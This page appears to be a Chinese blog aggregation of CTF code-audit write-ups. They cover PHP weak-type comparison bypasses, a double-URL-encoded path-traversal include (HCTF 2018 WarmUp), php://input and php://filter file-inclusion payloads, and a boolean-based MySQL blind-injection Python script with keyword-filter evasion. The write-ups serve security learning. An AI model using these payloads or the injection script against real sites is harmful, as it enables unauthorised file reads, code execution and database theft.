-
2021-05-07 06:58:41
[HCTF 2018]WarmUp
{public static function checkFile(&$page)
{$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;
}if (in_array($page, $whitelist)) {return true;
}$_page =mb_substr($page,
0,mb_strpos($page . '?', '?')
);if (in_array($_page, $whitelist)) {return true;
}$_page = urldecode($page);$_page =mb_substr($_page,
0,mb_strpos($_page . '?', '?')
);if (in_array($_page, $whitelist)) {return true;
}echo "you can't see it";return false;
}
}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])
) {include $_REQUEST['file'];exit;
}else{echo "
";
}?>
一、在 hint.php 中我们可以知道 flag 在 ffffllllaaaagggg
二、审计下面一部分代码
if (! empty($_REQUEST['file']) //$_REQUEST['file']值非空
&& is_string($_REQUEST['file']) //$_REQUEST['file']值为字符串
&& emmm::checkFile($_REQUEST['file']) //能够通过checkFile函数校验
) {include $_REQUEST['file']; //包含$_REQUEST['file']文件
exit;
}else{echo "
";//打印滑稽表情
}
可以知道要求传入的 file变量的值需要满足:非空,字符串,能通过 checkFile()函数
上面的checkFile函数有四个检测
highlight_file(__FILE__); //打印代码
class emmm //定义emmm类
{public static function checkFile(&$page)//将传入的参数赋给$page
{$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
echo "you can't see it";//打印"you can't see it"
return false;//返回false
}if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
return true;//返回true
}$_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
$page,
0,mb_strpos($page . '?', '?')
);if (in_array($_page, $whitelist)) {return true;
}$_page = urldecode($page);//url解码$page
$_page =mb_substr($_page,
0,mb_strpos($_page . '?', '?')
);if (in_array($_page, $whitelist)) {return true;
}echo "you can't see it";return false;
}
}
分别表示 判断是否为字符串 ,判断$page是否在$whitelist数组中 ,截取$page中'?'前一部分判断是否$whitelist数组中 ,判断url解码并截取后的$page是否存在于$whitelist中
在第四个if语句中,我们可以通过先对?进行2次url编码,此时服务端解码一次,checkFile函数解码一次,结果仍是'?',可以绕过
构造url:http://7e76bca4-7e05-434e-943d-daedb85da0a6.node3.buuoj.cn/source.php?file=source.php%253f../../../../../ffffllllaaaagggg
得到flag
摘自: https://www.jianshu.com/p/36eaa95068ca
更多相关内容 -
CTF代码审计
2020-10-20 13:40:03) 2、传入的id值,不能等于hackerDJ 3、urldecode:对传入的id进行urldecode解码 4、对传入的id值进行url两次编码,一次是用于浏览器正常解码,另一次用于代码中解码。 5、对hackerDJ进行两次url编码即可 md5()函数...extract变量覆盖
<?php $flag='xxx'; extract($_GET); if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) { echo'flag{xxx}'; } else { echo'Oh.no'; } } ?>
1、extract()函数使用数组键名作为变量名,使用数组键值作为变量的值,当变量中有同名的元素时,该函数默认将原有的值给覆盖掉,这就造成了变量覆盖。
2、trim() 函数移除字符串两侧的空白字符或其他预定义字符。
3、GET方式传进来的值通过extract()函数处理,我们不知道shiyan、content的值,直接传入以GET方式传入shiyan=&content= 就可以进行将原本的变量覆盖,并且使两个变量的值相等即可。(理论上来说只要将两个值相同即可进行绕过,但是只有两个的值为空时才能得到flag)
strcmp比较字符串
<?php $flag = "flag{xxxxx}"; if (isset($_GET['a'])){ if (strcmp($_GET['a'], $flag) == 0) die('Flag: '.$flag); else print 'No';} ?>
1、Get方式传入变量a,然后对变量a与flag进行比较,若等于则输出flag
2、Strcmp()函数比较两个字符串(区分大小写),是比较字符串类型的,但是如果输入其他类型这个函数就会出现错误,在官方文档的说明中提到在php5.2之前,利用strcmp函数将数组与字符串进行比较会返回-1,但从5.3之后,会返回0。
3、这道题的比较结果要等于0,所以我们可以传入一个数组,得到flag。
urldecode二次编码绕过
<?php if(eregi("hackerDJ",$_GET[id])) { echo("not allowed!"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ"){ echo "Access granted!"; echo "flag"; } ?>
1、eregi —不区分大小写的正则表达式匹配(此功能在PHP 5.3.0中已弃用, 在PHP 7.0.0中已删除。)
2、传入的id值,不能等于hackerDJ
3、urldecode:对传入的id进行urldecode解码
4、对传入的id值进行url两次编码,一次是用于浏览器正常解码,另一次用于代码中解码。
5、对hackerDJ进行两次url编码即可
md5()函数
<?php error_reporting(0); $flag = 'flag{test}'; if (isset($_GET['username']) and isset($_GET['password'])) { if ($_GET['username'] == $_GET['password']) print 'Your password can not be your username.'; else if (md5($_GET['username']) === md5($_GET['password'])) die('Flag: '.$flag); else print 'Invalid password';} ?>
通过GET方式传入username和password,然后对这两个参数进行MD5加密,然后对MD5值进行强类型判断,如果两个不同的值经过MD5以后,都是0E开头,那么PHP将会认为他们相同(科学计数法)
注意:这里的参数需要以数组的格式进行传参
部分md5函数0e开头的值
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
md5前后都是0e开头的:0e215962017
纯数字md5值为0:240610708
纯字母md5值为0:QNKCDZO数组返回NULL绕过
<?php $flag = "flag"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo 'You password must be alphanumeric'; else if (strpos ($_GET['password'], '--') !== FALSE) die('Flag: ' . $flag); else echo 'Invalid password'; } ?>
1、通过正则匹配可以得知,不能传入大小写数字及字母,ereg()函数不能处理数组,当传入数组时会返回NULL,所以第一个语句无法绕过。
2、strpos(),查找指定字符在字符串中出现的位置,同样是不能处理数组,对数组会返回NULL,NULL!==FALSE
3、payload:http://123.206.87.240:9009/19.php?password[]=
弱类型整数大小比较绕过
$temp = $_GET['password']; is_numeric($temp)?die("no numeric"):NULL; if($temp>1336){ echo $flag;
1、传入的password必须为数字或数字字符串
2、password的值又必须大于1336-
解法1:
由于大部分你的PHP函数无法判断数组,所以可以传入一个password数组
-
解法2:
传入比1336的数,并在后边加一个符号,让他构不成数字
sha()函数比较绕过
<?php $flag = "flag"; if (isset($_GET['name']) and isset($_GET['password'])){ var_dump($_GET['name']); echo ""; var_dump($_GET['password']); var_dump(sha1($_GET['name'])); var_dump(sha1($_GET['password'])); if ($_GET['name'] == $_GET['password']) echo 'Your password can not be your name!'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo 'Invalid password.';} else echo 'Login first!'; ?>
同上,构造数组即可
md5加密相等绕过
<?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "flag{*}"; } else { echo "false!!!"; }} else{echo "please input a";} ?>
QNKCDZO的MD5值为:0e830400451993494058024219903391
所以令a的MD5值也为0e开头即可(科学计数法)
十六进制与数字比较
<?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag{test}'; $one = ord('1'); //ord — 返回字符的 ASCII 码值 $nine = ord('9'); //ord — 返回字符的 ASCII 码值 $number = '3735929054'; // Check all the input characters! for ($i = 0; $i < strlen($number); $i++){ // Disallow all the digits! $digit = ord($temp{$i}); if ( ($digit >= $one) && ($digit <= $nine) ){ // Aha, digit not allowed! return "flase"; } } if($number == $temp) return $flag; } $temp = $_GET['password']; echo noother_says_correct($temp); ?>
题目:输入password,若password=3735929054即可得到flag
但是函数要求 t e m p 不 能 含 有 1 − 9 的 数 字 , 但 是 又 要 求 temp不能含有1-9的数字,但是又要求 temp不能含有1−9的数字,但是又要求temp等于3735929054
PHP在转码时会把16进制转化为十进制,于是就可以将3735929054转为16进制后再当作password的值传参
ereg正则%00截断
<?php $flag = "xxx"; if (isset ($_GET['password'])){ if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){ echo 'You password must be alphanumeric'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){ if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置 { die('Flag: ' . $flag); } else{ echo('- have not been found'); } } else{ echo 'Invalid password'; } } ?>
GET传入password,要使password的值大于9999999,但是长度又不能大于8,满足以上要求后要查找‘-’再password的位置,并且返回不为FALSE才能拿到flag。
绕过strpos函数是非常简单的,传入数组即可,strpos对数组的返回为NULL,所以很轻易就绕过FALSE了,绕过else if也很简单,传入password的数组等于2e10即可(科学计数法)
- 解法2:%00截断绕过正则匹配
数字验证正则绕过
<?php error_reporting(0); $flag = 'flag{test}'; if ("POST" == $_SERVER['REQUEST_METHOD']){ $password = $_POST['password']; if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配 { echo 'flag'; exit; } while (TRUE){ $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; if (6 > preg_match_all($reg, $password, $arr)) break; $c = 0; $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母 foreach ($ps as $pt){ if (preg_match("/[[:$pt:]]+/", $password)) $c += 1; } if ($c < 3) break;//>=3,必须包含四种类型三种与三种以上 if ("42" == $password) echo $flag; else echo 'Wrong password'; exit; } } ?>
首先了解一下正则表达式匹配:
- preg_match:执行一个正则表达式匹配,匹配到则返回1,匹配不到则返回0。第一次匹配成功后就停止匹配
- preg_match_all:执行一个全局正则表达式匹配,返回成功模式匹配的次数,并将匹配结果存储到一个数组中。匹配到字符串结束为止
再弄明白几个正则匹配的特殊字符:
- [:graph:] : 除空格,TAB外的所有字符
- [:punct:] : 任何标点符号
- [:digit:] : 任何数字
- [:upper:] : 任何大写字母
- [:lower:] : 任何小写字母
首先看第一个判断条件
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配 { echo 'flag'; exit; }
如果这个if条件执行成功,就会退出程序,无法获取后边的flag,所以要让if内的判断条件为假,即preg_match返回1。
再看正则表达式/^[[:graph:]]{12,}$/
,必须以任意一个除空格,TAB外的标点符号开头和结尾,且至少出现12次。然后看第二个判断条件
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; if (6 > preg_match_all($reg, $password, $arr)) break;
如果if语句成功执行,break退出循环,我们就得不到flag值
所以我们不能让if语句成功执行,也就是说要让全局匹配成功次数大于6次
再看正则表达式’/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/’
因为是全局匹配,所以匹配成功的条件是检测到任何符号出现1次以上或者任何数字出现1次以上或者任何大写字母出现1次以上或者任何小写字母出现1次以上,一旦匹配成功一次,就开始检测下一次的匹配。
再来看第三个判断条件
$c = 0; $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母 foreach ($ps as $pt){ if (preg_match("/[[:$pt:]]+/", $password)) $c += 1; } if ($c < 3) break;//>=3,必须包含四种类型三种与三种以上 if ("42" == $password) echo $flag;
如果 c < 3 , 那 么 我 们 就 得 不 到 f l a g 值 , 也 就 是 说 要 让 c<3,那么我们就得不到flag值,也就是说要让 c<3,那么我们就得不到flag值,也就是说要让c>=3,即成功匹配三次或以上,即出现三种类型字符或以上
password值等于’42’,因为类型都是字符串,所以password中的值必须等于42,结合上面的三个条件成功的输入可以有:
42.000e%2b000000000
420.000000000000e-1
base64
<?php error_reporting(0); function is_ok($c) { if (preg_match('/[0-9a-zA-Z]{2}/',$c) === 1) { die("Get out of my site!"); } return 1; } if (isset($_POST['p']) ) { $p = $_POST['p']; if (is_ok($p) === 1) { $pp = trim(base64_decode($p)); @include($pp); } } highlight_file(__FILE__); ?>
is_ok函数是对传入的参数进行判断,判断参数值是否为连续的两个字母或数字,下面的if函数是先base64解码,然后执行。利用的点在于base64_decode传递的参数中如果有空格,默认是先删除空格。那么我们就可以在base64中加入空格,绕过
原始payload为php://filter/read=convert.base64-encode/resource=flag.php
base64cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWZsYWcucGhw
所以最终payload:p=c G h w O i 8 v Z m l s d G V y L 3 J l Y W Q 9 Y 2 9 u d m V y d C 5 i Y X N l N j Q t Z W 5 j b 2 R l L 3 J l c 2 9 1 c m N l P W Z s Y W c u c G h w
-
-
从一道CTF代码审计题看SQL盲注
2021-05-08 06:15:22文章难易度【★★★】文章阅读点/知识点: PHP代码审计、MySQL盲注、CTF技巧文章作者: 0h1in9e本文参与i春秋社区原创文章奖励计划,未经许可禁止转载0x01前言笔者在上个月参加一个CTF比赛的时候,遇到了一个PHP代码...文章难易度【★★★】
文章阅读点/知识点: PHP代码审计、MySQL盲注、CTF技巧
文章作者: 0h1in9e
本文参与i春秋社区原创文章奖励计划,未经许可禁止转载0x01前言
笔者在上个月参加一个CTF比赛的时候,遇到了一个PHP代码审计类的题目。具体地来说是关于一道SQL盲注类的题目。做了这道题之后,对SQL盲注有了更深入的了解,今天给大家分享下这道CTF题目以及解法,以及透过这个题目聊聊盲注。
0x02关于CTF题目
打开题目链接,如下图所示。
从图中可以看出,一个表单,没有其他的东西。到这里,一般CTF套路是源码泄露,这里猜测也是。利用扫描脚本扫描到泄露文件为/index.php~
从而get到index.php 文件源代码如下:
[PHP] 纯文本查看 复制代码<?php
error_reporting(0);
$token="e00cf25ad42683b3df678c61f42c6bda";
foreach($_GET as $key=>$value){
if (is_array($value)){
die("Bad input!");
}
$p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\'|\"";
if(preg_match("/".$p."/is",$value)==1){
die("inj code!");
}
}
parse_str($_SERVER['QUERY_STRING']);
if($token==md5("admin")){
$link=@mysql_connect("XXXX","XXXX","XXXX");
mysql_select_db("XXXX",$link);
$sql="select * from user where userid = ".$userid;
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$arr = mysql_fetch_array($query);
if($arr['password'] == $password) {
$sql="select * from info where infoid=".$infoid;
$result=mysql_query($sql);
$arr = mysql_fetch_array($result);
if(empty($arr['content'])){
echo "error sql!";
}else{
echo $arr['content'];
}
}else{
echo "error password!";
}
}else{
echo "error userid!";
}
mysql_close($link);
}else{
echo "Bad token!";
}
?>
web-testUser ID:
Password:
从这里看出,其实就是一道代码审计题目。由于官方题目在比赛结束后就直接关闭了,这里我根据出题人思路在本地搭建一个环境。
0x03 本地题目环境搭建
PHP代码给出来了,只需要修改相应的MySQL连接的地方即可。问题就是数据库需要自己来创建。当时我的解法是通过SQL盲注得到数据库里边flag表中flag字段里的flag值,再根据PHP代码中的相关SQL语句可以知道,数据库中需要有user、info表。
从上述分析来看,就是本地MySQL中创建一个数据库DB,然后向其中加入三个数据表,分别是flag、info、user。
创建SQL语句如下:
[SQL] 纯文本查看 复制代码create DATABASE ctf_01;
use ctf_01;
/* 创建flag表 */
create TABLE flag(
flag varchar(255) not null
);
insert into flag values('flag{XXXX}');
/* 创建info表 */
create TABLE info(
infoid int primary key not null,
content varchar(255) not null
);
insert into info (infoid, content) values(1,'flag is in flag!');
/* 创建user表 */
create TABLE user(
userid int primary key not null,
username varchar(255) not null,
password varchar(255) not null
);
insert info user values(1,'ctf','219d03ad2d752ad2806ea1de18613158');执行以上SQL语句,即可成功创建本地所需的SQL。如下图所示:
数据库搭建好了,接下来就是部署PHP代码了。这里直接修改mysql链接部分即可。
本地题目搭建成功,接下来就可以来怼本地了。
0x04 解题思路中的盲注技巧
从PHP代码中看出,首先最上边这一部分是一个类似过滤的部分:
[PHP] 纯文本查看 复制代码foreach($_GET as $key=>$value){
if (is_array($value)){
die("Bad input!");
}
$p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\'|\"";
if(preg_match("/".$p."/is",$value)==1){
die("inj code!");
}
}
常见的SQL注入关键字都被过滤掉了,这里的benchmark、sleep的过滤表示我们不能使用基于时间的SQL盲注了。
下边if开始的部分就是这段代码的关键了。
从图一的“Bad token”,只有$token=md5('admin')才可以。但是明显地变量并不相等。这里注意到这一句:parse_str($_SERVER['QUERY_STRING']);
表示可以直接传递任意变量。这样我们构造链接为:
/index.php?token=21232f297a57a5a743894a0e4a801fc3&userid=1&password=
此时,返回“error password!“。可知userid=1的字段是存在的,userid=0等时返回“error userid!”。
从而可以假设,userid=1为真,0为假。这里就用到了SQL盲注的思路。
我们把userid=1改为userid=0 or 1,空格会触发过滤机制,这里用注释代替即可绕过。
从而为:userid=0/**/or/**/1
为了能使用SQL盲注,我们利用MySQL子查询的特性,将1用一个子查询代替,查询到正确即返回1,错误返回0,从而根据不同的返回来进行盲注。
同时为了规避过滤的关键字,用到一个SQL语法:substr('password' from 1 for 1)='p'
同样地,为了规避过滤中的(')逗号,采用ascii的形式来改写以上语句: ascii('password' from 1 for 1)=112
到这里就有两种方案了:
一种是先利用SQL盲注注入出password字段内容,从而进一步看看info表中content字段内容,利用infoid字段继续盲注到flag表中的flag。这里我们知道那里没有flag,但是真实比赛场景下不知道啊,所以我们比赛时采用的这种方案。
另外一种就是直接利用userid字段的注入直接注入出flag。
思路已经很明确了,接下来就是编写脚本了。
首先,需要确定flag内容长度:
/index.php?token=21232f297a57a5a743894a0e4a801fc3&userid=0/**/or/**/length((select/**/flag/**/from/**/flag))=29
下面直接给出脚本吧:
[Python] 纯文本查看 复制代码import requests
payload = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@_.{}-'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate"
}
num = 12
strings = ''
for x in range(1,29):
for y in payload:
#strings = strings + y
url = "http://ctf.sb/2/index.php?userid=1&password=219d03ad2d752ad2806ea1de18613158&token=21232f297a57a5a743894a0e4a801fc3&infoid=0/**/or/**/ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d" % (x,ord(y))
try:
response = requests.get(url,headers=headers,timeout=5,verify=False)
if response.content.find('flag is in flag!') != -1:#
strings = strings + y
print strings
num -= 1
break
except Exception,e:
pass
print 'flag: ',
print strings
脚本执行结果如下图所示:
从而通过sql盲注方法解决这道ctf题目。
0x05 SQL盲注简单归纳
相对于SQL注入,盲注条件更为苛刻。往往需要通过页面的不同响应(包括响应不同内容、不同响应时间)。所以常常就有几种盲注方式:
(1) boolean-based blind(基于布尔的盲注)
(2) time-based blind (基于时间的盲注)
(3) error-based (报错注入)
上述的CTF题目中,SQL注入就属于第一种情况,基于布尔的盲注。根据页面返回不同内容来注入SQL,从而获取我们所需要的信息。此外,基于时间的盲注手段,以及种类众多的盲注手法都是平时渗透测试中经常用到的,现在很多CTF代码审计题也很喜欢考些有些绕的SQL注入题目。
0x06 小结
本篇文章主要从一道关于盲注的CTF题目来实际地看看SQL盲注的应用思路。
当然,一篇文章不可能面面俱到,下面几篇文章都写的不错,推荐去看看:
-
您有一份CTF代码审计文件等待查收
2021-04-18 08:54:20http://chall.tasteless.eu/ 0x02 解题过程 首先访问题目站点http://level3.tasteless.eu/index.php?file= 发现给出了题目的源码,所以本题便是要通过代码审计获取flag. 源码信息: 源码中展示的信息还是很直接的: ...0x01 背景
上周总结了一些文件包含与伪协议结合的利用方法,本周就找一道例题进行演练。题目源自国外某挑战平台,平台上还有许多其他有趣的challenges题目,小伙伴有兴趣也可以上去好好玩耍一番。
题目地址:http://level3.tasteless.eu/index.php?file=
站点地址:http://chall.tasteless.eu/
0x02 解题过程
首先访问题目站点http://level3.tasteless.eu/index.php?file= 发现给出了题目的源码,所以本题便是要通过代码审计获取flag.
源码信息:
源码中展示的信息还是很直接的:
1.高亮读取 index.php的源码
2.在提示信息中告知要读取PHP.ini ,里面有敏感信息
3.包含了anti_rfi.php,并提示不允许进行远程文件包含
4.使用require_one包含了GET请求的file参数。
根据上面的代码情况可以知道最重要的是第4点,所以可以使用如下思路进行解题。
1.使用读取PHP.ini和anti_rfi.php,获取足够的信息
2.绕过anti_rfi.php并远程包含一句话
3.使用PHP伪协议直接执行代码
分析后大致有如上的思路,第2点是需要开启allow_url_fopen,allow_url_include,第3点需要开启allow_url_include就可以了。
读取php.ini
http://level3.tasteless.eu/php.ini
从php.ini中得到了allow_url_include是on的状态,所以可以使用PHP伪协议执行代码,可以使用php://input的协议,成功执行了代码。
此时需要获取站点的目录信息,由于allow_url_fopen是为off的状态所以无法使用远程文件包含执行命令了,也就无法直接用菜刀去连接并寻找flag,但是已经知道网站的根目录/var/www/chall/level3
此时本想可以使用命令执行的函数执行命令获取目录信息,但是这里似乎做了限制,无法执行系统命令,所以这里需要介绍PHP的scandir()函数会将当先目录下的目录结构以数组的方式保存,请求http://level3.tasteless.eu/index.php?file=php://input [POST DATA:]print_r(scandir('/var/www/chall/level3'))?>得到flag文件的名称。
访问th3_th3_fl4g得到flag的值。
0x03 小小总结
想必上周总结的伪协议与本周文件包含结合的利用方法小伙伴已经GET到了,解题过程大致有如下3步骤:
1.分析站点给出的源代码
2.判断allow_url_fopen,allow_url_include的开启状态,来推测可以使用的伪协议
3.使用相应的伪协议执行代码获取flag
当无法判断allow_url_fopen,allow_url_include的开启状态时,可逐一尝试如下的请求判断哪些能够执行,如果有上传功能那么可能是考phar或zip等压缩流的知识点。
PHP 读文件和代码执行的方式:1.?file=data:text/plain,
2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
3.?file=php://input [POST DATA:]
4.?file=php://filter/read=convert.base64-encode/resource=xxx.php
……
0x04扩展小知识
虽然本题allow_url_fopen是off的状态,所以是无法使用远程文件包含的,如果是ON的话就需要使用文件包含读取anti_rfi.php文件,查看文件中的源码了。
如,使用http://level3.tasteless.eu/index.php?file=php://input [POST DATA] 读取anti_rfi.php文件的源码信息。
从源码中可以看到使用了正则匹配http://, data 匹配到了,返回hacker detected,但是并没有匹配ftp://所以使用ftp://也是一个思路。
-
Web CTF代码审计学习笔记
2020-12-06 17:16:01最近做了这么一个题,差点都蒙了(归根结底还是自己太菜) 题目: alert("give you flag...看图 下图是POST传参形式下的值 下图是GET传参形式下的值 这样一切变得合理了起来 is_string//检测代码是否为字符串 mb_substr -
BugkuCTF代码审计Writeup
2019-02-03 18:48:02最近在读吴翰清先生的《白帽子讲Web安全》,可以说是萌新打开了自己新世界的大门,看了白帽子的PHP安全这一块内容,决定上手一些题目练一练基础,下面放上一些晚上练习的Bugku的代码审计题目; 正文 extract变量覆盖... -
bugku ctf 代码审计 md5()函数
2021-04-29 04:38:34> 读代码,本题的意思就是使username!=password && md5(username)===md5(password) md5() 函数计算字符串的 MD5 散列 松散比较:使用两个等号 == 比较,只比较值,不比较类型。 严格比较:用两个等号 === 比较... -
一次ctf中代码审计分析
2021-11-30 14:39:45信呼OA 看一下比赛的两道题目: 咱捋一遍思路! 拿到cms不用怕! 先看下网络! 看到a m surl 等参数 m=index&a=getshtml&surl=aG9tZS9pbmRleC9yb2NrX2luZGV4&num=home&menuname=6aaW6aG1 ...displ -
CTF代码审计中常用到的函数
2019-08-02 20:38:39extract()函数从数组中将函数导入当前列表,将数组的键当作变量名,数组的值当作对应变量的值。例如: <?php $a = "Original"; $my_array = array("a" => "Cat","b" =>... \$b = ... -
CTF之代码审计
2019-07-25 20:48:18知识点 PHP弱类型比较 PHP伪协议 file=php://filter/read=convert.base64-encode/resource=flag.php file=php://filter/convert.base64-encode/resource=flag.php(过滤...注意:这里的执行代码不要用?>闭合 -
bugkuctf 代码审计
2019-07-01 20:24:07下面分析代码的含义 它定义了变量flag为“xxx",通过get方式得到变量值。 下面判断了是否存在"shiyan"这个变量。 下一句是将flag这个文件里的内容直接赋给content这个变量并且去除这个变量的空格等其他字符 如果... -
ctf.show WEB入门-代码审计
2021-11-25 20:18:15ctfshow 代码审计篇 web301-web310 -
CTF工具之seay源代码审计系统(web).rar
2021-09-16 20:03:09此工具用于学习交流用途,切勿用于其它用途。